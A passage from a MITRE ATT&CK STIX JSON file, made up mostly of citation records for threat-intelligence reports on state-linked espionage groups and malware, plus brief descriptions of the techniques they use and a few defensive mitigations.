                    "description": "Lior Rochberger, Tom Fakterman, Robert Falcone. (2023, September 22). Cyberespionage Attacks Against Southeast Asian Government Linked to Stately Taurus, Aka Mustang Panda. Retrieved September 9, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/stately-taurus-attacks-se-asian-government/"
                },
                {
                    "source_name": "Crowdstrike MUSTANG PANDA June 2018",
                    "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021.",
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/"
                },
                {
                    "source_name": "Microsoft Naming Conventions Frequently Updated",
                    "description": "Microsoft. (2025, September 8). How Microsoft names threat actors. Retrieved September 10, 2025.",
                    "url": "https://learn.microsoft.com/en-us/unified-secops-platform/microsoft-threat-actor-naming"
                },
                {
                    "source_name": "Trend Micro Mustang Panda Earth Preta Toneshell February 2025",
                    "description": "Nathaniel Morales, Nick Dai. (2025, February 18). Earth Preta Mixes Legitimate and Malicious Components to Sidestep Detection. Retrieved September 10, 2025.",
                    "url": "https://www.trendmicro.com/en_us/research/25/b/earth-preta-mixes-legitimate-and-malicious-components-to-sidestep-detection.html"
                },
                {
                    "source_name": "2022 November_TrendMicro_Earth Preta_Toneshell_Pubload",
                    "description": "Nick Dai, Vickie Su, Sunny Lu. (2022, November 18). Earth Preta Spear-Phishing Governments Worldwide. Retrieved August 4, 2025.",
                    "url": "https://www.trendmicro.com/en_us/research/22/k/earth-preta-spear-phishing-governments-worldwide.html"
                },
                {
                    "source_name": "Google Threat Intelligence Group MUSTANG PANDA PLUGX August 2025",
                    "description": "Patrick Whitsell. (2025, August 25). Deception in Depth: PRC-Nexus Espionage Campaign Hijacks Web Traffic to Target Diplomats. Retrieved September 9, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/prc-nexus-espionage-targets-diplomats"
                },
                {
                    "source_name": "Proofpoint TA416 November 2020",
                    "description": "Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader"
                },
                {
                    "source_name": "PWC UK MUSTANG PANDA RED LICH February 2021",
                    "description": "PWC UK. (2021, February 28). Cyber Threats 2020: A Year in Retrospect. Retrieved October 15, 2025.",
                    "url": "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf"
                },
                {
                    "source_name": "Proofpoint TA416 Europe March 2022",
                    "description": "Raggi, M. et al. (2022, March 7). The Good, the Bad, and the Web Bug: TA416 Increases Operational Tempo Against European Governments as Conflict in Ukraine Escalates. Retrieved March 16, 2022.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/good-bad-and-web-bug-ta416-increases-operational-tempo-against-european"
                },
                {
                    "source_name": "Unit42 Bookworm Nov2015",
                    "description": "Robert Falcone, Mike Scott, Juan Cortes. (2015, November 10). Bookworm Trojan: A Model of Modular Architecture. Retrieved July 21, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/bookworm-trojan-a-model-of-modular-architecture/"
                },
                {
                    "source_name": "Palo Alto Networks, Unit 42",
                    "description": "Robert Falcone. (2025, February 20). Stately Taurus Activity in Southeast Asia Links to Bookworm Malware. Retrieved July 21, 2025.",
                    "url": "https://unit42.paloaltonetworks.com/stately-taurus-uses-bookworm-malware/"
                },
                {
                    "source_name": "Sophos PlugX September 2022",
                    "description": "Secureworks Counter Threat Unit Research Team. (2022, April 27). BRONZE PRESIDENT Targets Russian Speakers with Updated PlugX. Retrieved September 9, 2025.",
                    "url": "https://www.secureworks.com/blog/bronze-president-targets-russian-speakers-with-updated-plugx"
                },
                {
                    "source_name": "Sophos Mustang Panda PLUGX",
                    "description": "Secureworks Counter Threat Unit Research Team. (2022, September 8). BRONZE PRESIDENT Targets Government Officials. Retrieved September 9, 2025.",
                    "url": "https://www.secureworks.com/blog/bronze-president-targets-government-officials"
                },
                {
                    "source_name": "Zscaler",
                    "description": "Sudeep Singh. (2025, April 16). Latest Mustang Panda Arsenal: ToneShell and StarProxy | P1. Retrieved July 21, 2025.",
                    "url": "https://www.zscaler.com/blogs/security-research/latest-mustang-panda-arsenal-toneshell-and-starproxy-p1"
                },
                {
                    "source_name": "Trend Micro Mustang Panda Earth Preta TONESHELL June 2023",
                    "description": "Sunny Lu, Vickie Su, Nick Dai. (2023, June 14). Behind the Scenes: Unveiling the Hidden Workings of Earth Preta. Retrieved September 10, 2025.",
                    "url": "https://www.trendmicro.com/en_us/research/23/f/behind-the-scenes-unveiling-the-hidden-workings-of-earth-preta.html"
                },
                {
                    "source_name": "BlackBerry MUSTANG PANDA October 2022",
                    "description": "The BlackBerry Research and Intelligence Team. (2022, October 6). Mustang Panda Abuses Legitimate Apps to Target Myanmar Based Victims. Retrieved October 14, 2025.",
                    "url": "https://blogs.blackberry.com/en/2022/10/mustang-panda-abuses-legitimate-apps-to-target-myanmar-based-victims"
                },
                {
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                    "description": "Tom Fakterman. (2024, September 6). Chinese APT Abuses VSCode to Target Government in Asia. Retrieved March 24, 2025.",
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                    "description": "(Citation: Palo Alto menuPass Feb 2017)(Citation: DOJ APT10 Dec 2018)(Citation: District Court of NY APT10 Indictment December 2018)"
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                    "description": "(Citation: SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022)"
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                    "description": "(Citation: Symantec Cicada November 2020)"
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                    "source_name": "Accenture Hogfish April 2018",
                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "url": "http://web.archive.org/web/20220810112638/https:/www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf"
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                    "source_name": "SecureWorks BRONZE STARLIGHT Ransomware Operations June 2022",
                    "description": "Counter Threat Unit Research Team . (2022, June 23). BRONZE STARLIGHT RANSOMWARE OPERATIONS USE HUI LOADER. Retrieved December 7, 2023.",
                    "url": "https://www.secureworks.com/research/bronze-starlight-ransomware-operations-use-hui-loader"
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                    "source_name": "Crowdstrike CrowdCast Oct 2013",
                    "description": "Crowdstrike. (2013, October 16). CrowdCasts Monthly: You Have an Adversary Problem. Retrieved November 17, 2024.",
                    "url": "https://www.slideshare.net/slideshow/crowd-casts-monthly-you-have-an-adversary-problem/27262315"
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                    "source_name": "FireEye APT10 April 2017",
                    "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html"
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                    "source_name": "FireEye Poison Ivy",
                    "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved September 19, 2024.",
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                    "description": "Matsuda, A., Muhammad I. (2018, September 13). APT10 Targeting Japanese Corporations Using Updated TTPs. Retrieved September 17, 2018.",
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                    "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.",
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                    "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.",
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                    "description": "Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.",
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            "name": "Windshift",
            "description": "[Windshift](https://attack.mitre.org/groups/G0112) is a threat group that has been active since at least 2017, targeting specific individuals for surveillance in government departments and critical infrastructure across the Middle East.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)",
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                    "source_name": "Bahamut",
                    "description": "(Citation: SANS Windshift August 2018)"
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                    "source_name": "SANS Windshift August 2018",
                    "description": "Karim, T. (2018, August). TRAILS OF WINDSHIFT. Retrieved November 17, 2024.",
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                    "source_name": "objective-see windtail2 jan 2019",
                    "description": "Wardle, Patrick. (2019, January 15). Middle East Cyber-Espionage analyzing WindShift's implant: OSX.WindTail (part 2). Retrieved October 3, 2019.",
                    "url": "https://objective-see.com/blog/blog_0x3D.html"
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                    "source_name": "TrendMicro Confucius APT Feb 2018",
                    "description": "Lunghi, D and Horejsi, J. (2018, February 13). Deciphering Confucius: A Look at the Group's Cyberespionage Operations. Retrieved December 26, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/18/b/deciphering-confucius-cyberespionage-operations.html"
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                    "source_name": "TrendMicro Confucius APT Aug 2021",
                    "description": "Lunghi, D. (2021, August 17). Confucius Uses Pegasus Spyware-related Lures to Target Pakistani Military. Retrieved December 26, 2021.",
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                {
                    "source_name": "Uptycs Confucius APT Jan 2021",
                    "description": "Uptycs Threat Research Team. (2021, January 12). Confucius APT deploys Warzone RAT. Retrieved December 17, 2021.",
                    "url": "https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat"
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                    "description": "US Federal Bureau of Investigation & US Secret Service. (2022, February 11). Indicators of Compromise Associated with BlackByte Ransomware. Retrieved December 16, 2024.",
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                    "description": "(Citation: Dell TG-3390)(Citation: Hacker News LuckyMouse June 2018)"
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                    "source_name": "BRONZE UNION",
                    "description": "(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Nccgroup Emissary Panda May 2018)"
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                    "description": "(Citation: Trend Micro Iron Tiger April 2021)"
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                    "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.",
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                    "description": "Falcone, R. and Lancaster, T. (2019, May 28). Emissary Panda Attacks Middle East Government Sharepoint Servers. Retrieved July 9, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/"
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                    "source_name": "Gallagher 2015",
                    "description": "Gallagher, S.. (2015, August 5). Newly discovered Chinese hacking group hacked 100+ websites to use as \u201cwatering holes\u201d. Retrieved January 25, 2016.",
                    "url": "http://arstechnica.com/security/2015/08/newly-discovered-chinese-hacking-group-hacked-100-websites-to-use-as-watering-holes/"
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                    "description": "Khandelwal, S. (2018, June 14). Chinese Hackers Carried Out Country-Level Watering Hole Attack. Retrieved August 18, 2018.",
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                    "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.",
                    "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/"
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                {
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                    "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.",
                    "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html"
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                    "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021.",
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                {
                    "source_name": "Microsoft Naming Conventions Frequently Updated",
                    "description": "Microsoft. (2025, September 8). How Microsoft names threat actors. Retrieved September 10, 2025.",
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                    "description": "Pantazopoulos, N., Henry T. (2018, May 18). Emissary Panda \u2013 A potential new malicious tool. Retrieved June 25, 2018.",
                    "url": "https://research.nccgroup.com/2018/05/18/emissary-panda-a-potential-new-malicious-tool/"
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            "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) is a Chinese threat group that has extensively used strategic Web compromises to target victims.(Citation: Dell TG-3390) The group has been active since at least 2010 and has targeted organizations in the aerospace, government, defense, technology, energy, manufacturing and gambling/betting sectors.(Citation: SecureWorks BRONZE UNION June 2017)(Citation: Securelist LuckyMouse June 2018)(Citation: Trend Micro DRBControl February 2020)",
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                    "description": "Koessel, Sean. Adair, Steven. Lancaster, Tom. (2024, November 22). The Nearest Neighbor Attack: How A Russian APT Weaponized Nearby Wi-Fi Networks for Covert Access. Retrieved February 25, 2025.",
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                    "description": "Daniel Lughi, Jaromir Horejsi. (2020, October 2). Tonto Team - Exploring the TTPs of an advanced threat actor operating a large infrastructure. Retrieved October 17, 2021.",
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                    "source_name": "CrowdStrike Manufacturing Threat July 2020",
                    "description": "Falcon OverWatch Team. (2020, July 14). Manufacturing Industry in the Adversaries\u2019 Crosshairs. Retrieved October 17, 2021.",
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                    "description": "Faou, M., Tartare, M., Dupuy, T. (2021, March 10). Exchange servers under siege from at least 10 APT groups. Retrieved May 21, 2021.",
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                    "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.",
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                    "description": "CISA. (2020, July 16). MAR-10296782-3.v1 \u2013 WELLMAIL. Retrieved September 29, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198c"
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                {
                    "source_name": "NCSC APT29 July 2020",
                    "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.",
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                    "source_name": "Intel 471 REvil March 2020",
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                    "source_name": "Secureworks REvil September 2019",
                    "description": "Counter Threat Unit Research Team. (2019, September 24). REvil/Sodinokibi Ransomware. Retrieved August 4, 2020.",
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                    "source_name": "2025_IBM_PUBLOAD_TONESHELL_HIUPAN_CLAIMLOADER_MUSTANG PANDA",
                    "description": "Golo Muhr, Joshua Chung. (2025, May 15). Hive0154 targeting US, Philippines, Pakistan and Taiwan in suspected espionage campaign. Retrieved August 4, 2025.",
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                },
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                    "source_name": "Unit42 LockerGoga 2019",
                    "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.",
                    "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"
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                    "source_name": "Wired Lockergoga 2019",
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                    "source_name": "Savill 1999",
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                    "source_name": "Unit 42 Valak July 2020",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.3.0"
        },
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            "id": "relationship--44468587-67b5-4c44-8c2b-ed2b4769f055",
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            "revoked": false,
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                {
                    "source_name": "ClearSky Lazarus Aug 2020",
                    "description": "ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.",
                    "url": "https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"
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            "description": "For [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) gathered victim organization information to identify specific targets.(Citation: ClearSky Lazarus Aug 2020)",
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                    "source_name": "Mandiant Cutting Edge Part 2 January 2024",
                    "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"
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            "modified": "2026-04-29T14:23:06.018Z",
            "description": "[ZIPLINE](https://attack.mitre.org/software/S1114) can communicate with C2 using a custom binary protocol.(Citation: Mandiant Cutting Edge Part 2 January 2024)",
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            "description": "Consider filtering DNS requests to unknown, untrusted, or known bad domains and resources. Resolving DNS requests with on-premise/proxy servers may also disrupt adversary attempts to conceal data within DNS packets. ",
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                    "description": "Erlich, C. (2020, April 3). The Avast Abuser: Metamorfo Banking Malware Hides By Abusing Avast Executable. Retrieved May 26, 2020.",
                    "url": "https://medium.com/@chenerlich/the-avast-abuser-metamorfo-banking-malware-hides-by-abusing-avast-executable-ac9b8b392767"
                },
                {
                    "source_name": "ESET Casbaneiro Oct 2019",
                    "description": "ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021.",
                    "url": "https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/"
                },
                {
                    "source_name": "FireEye Metamorfo Apr 2018",
                    "description": "Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html"
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            "description": "[Metamorfo](https://attack.mitre.org/software/S0455) has side-loaded its malicious DLL file.(Citation: Medium Metamorfo Apr 2020)(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019) ",
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                    "description": "CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.",
                    "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a"
                },
                {
                    "source_name": "Microsoft Albanian Government Attacks September 2022",
                    "description": "MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.",
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                    "description": "US-CERT. (2020, August 19). MAR-10295134-1.v1 \u2013 North Korean Remote Access Trojan: BLINDINGCAN. Retrieved August 19, 2020.",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a"
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            "description": "[BLINDINGCAN](https://attack.mitre.org/software/S0520) has attempted to hide its payload by using legitimate file names such as \"iconcache.db\".(Citation: US-CERT BLINDINGCAN Aug 2020)",
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                    "description": "Unit 42. (2019, December 2). Imminent Monitor \u2013 a RAT Down Under. Retrieved May 5, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/imminent-monitor-a-rat-down-under/"
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            "description": "[Imminent Monitor](https://attack.mitre.org/software/S0434) has a \"Process Watcher\" feature to monitor processes in case the client ever crashes or gets closed.(Citation: Imminent Unit42 Dec2019)",
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                {
                    "source_name": "TrendMicro EarthLusca 2022",
                    "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.",
                    "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"
                },
                {
                    "source_name": "Kaspersky ShadowPad Aug 2017",
                    "description": "Kaspersky Lab. (2017, August). ShadowPad: popular server management software hit in supply chain attack. Retrieved March 22, 2021.",
                    "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/08/07172148/ShadowPad_technical_description_PDF.pdf"
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            "description": "[ShadowPad](https://attack.mitre.org/software/S0596) maintains a configuration block and virtual file system in the Registry.(Citation: Kaspersky ShadowPad Aug 2017)(Citation: TrendMicro EarthLusca 2022)",
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            "source_ref": "malware--ec9e00dd-0313-4d5b-8105-c20aa47abffc",
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            "revoked": false,
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                {
                    "source_name": "Forcepoint BITTER Pakistan Oct 2016",
                    "description": "Dela Paz, R. (2016, October 21). BITTER: a targeted attack against Pakistan. Retrieved June 1, 2022.",
                    "url": "https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan"
                },
                {
                    "source_name": "Cisco Talos Bitter Bangladesh May 2022",
                    "description": "Raghuprasad, C . (2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022.",
                    "url": "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html"
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            "modified": "2026-04-29T14:23:06.018Z",
            "description": "[BITTER](https://attack.mitre.org/groups/G1002) has attempted to lure victims into opening malicious attachments delivered via spearphishing.(Citation: Cisco Talos Bitter Bangladesh May 2022)(Citation: Forcepoint BITTER Pakistan Oct 2016)",
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                    "source_name": "FireEye MuddyWater Mar 2018",
                    "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html"
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            "description": "[POWERSTATS](https://attack.mitre.org/software/S0223) can sleep for a given number of seconds.(Citation: FireEye MuddyWater Mar 2018)",
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                    "description": "Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved November 17, 2024.",
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            "description": "[Egregor](https://attack.mitre.org/software/S0554) contains functionality to query the local/system time.(Citation: JoeSecurity Egregor 2020)",
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                    "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/"
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                    "url": "https://blog.talosintelligence.com/seaturtle/"
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                {
                    "source_name": "Talos Sea Turtle 2019_2",
                    "description": "Paul Rascagneres. (2019, July 9). Sea Turtle keeps on swimming, finds new victims, DNS hijacking techniques. Retrieved November 20, 2024.",
                    "url": "https://blog.talosintelligence.com/sea-turtle-keeps-on-swimming/"
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                    "url": "https://redcanary.com/threat-detection-report/threats/socgholish/"
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                    "description": "Secureworks. (n.d.). GOLD PRELUDE . Retrieved March 22, 2024.",
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                    "description": "Christopher Brumm. (2021, August 4). My learnings on Microsoft Defender for Endpoint and Exclusions. Retrieved March 18, 2025.",
                    "url": "https://medium.com/codex/my-learnings-on-microsoft-defender-for-endpoint-and-exclusions-ddacf2fdd047"
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            "revoked": false,
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                    "source_name": "Unit 42 CARROTBAT January 2020",
                    "description": "McCabe, A. (2020, January 23). The Fractured Statue Campaign: U.S. Government Agency Targeted in Spear-Phishing Attacks. Retrieved June 2, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/the-fractured-statue-campaign-u-s-government-targeted-in-spear-phishing-attacks/"
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            "modified": "2026-04-29T14:23:06.028Z",
            "description": "[CARROTBALL](https://attack.mitre.org/software/S0465) has the ability to use FTP in C2 communications.(Citation: Unit 42 CARROTBAT January 2020)",
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            "source_ref": "tool--5fc81b43-62b5-41b1-9113-c79ae5f030c4",
            "target_ref": "attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b",
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                    "description": "Everts, M. (2025, March 28). Stealing user credentials with evilginx. Retrieved January 27, 2026.",
                    "url": "https://www.sophos.com/en-us/blog/stealing-user-credentials-with-evilginx"
                },
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                    "source_name": "Evilginx 2 July 2018",
                    "description": "Gretzky, K.. (2018, July 26). Evilginx 2 - Next Generation of Phishing 2FA Tokens. Retrieved October 14, 2019.",
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            "description": "Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server.(Citation: Windows RDP Sessions)",
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                    "description": "Cashman, M. (2020, July 29). Operation North Star Campaign. Retrieved December 20, 2021.",
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                    "description": "Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.",
                    "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"
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                {
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                    "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.",
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            "description": "During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors changed timestamps of multiple files on compromised Ivanti Secure Connect VPNs to conceal malicious activity.(Citation: Mandiant Cutting Edge Part 2 January 2024)(Citation: Mandiant Cutting Edge Part 3 February 2024)",
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            "description": "The original variant of [FakeM](https://attack.mitre.org/software/S0076) encrypts C2 traffic using a custom encryption cipher that uses an XOR key of \u201cYHCRA\u201d and bit rotation between each XOR operation. Some variants of [FakeM](https://attack.mitre.org/software/S0076) use RC4 to encrypt C2 traffic.(Citation: Scarlet Mimic Jan 2016)",
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                    "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.",
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            "description": "\n[UNC3886](https://attack.mitre.org/groups/G1048) has staged captured credentials in `var/log/ldapd<unique_keyword>.2.gz`.(Citation: Google Cloud Mandiant UNC3886 2024)",
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            "description": "During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used RDP sessions from public-facing systems to internal servers.(Citation: CrowdStrike StellarParticle January 2022)",
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            "description": "[APT37](https://attack.mitre.org/groups/G0067) has used a credential stealer known as ZUMKONG that can harvest usernames and passwords stored in browsers.(Citation: FireEye APT37 Feb 2018)",
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                    "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.",
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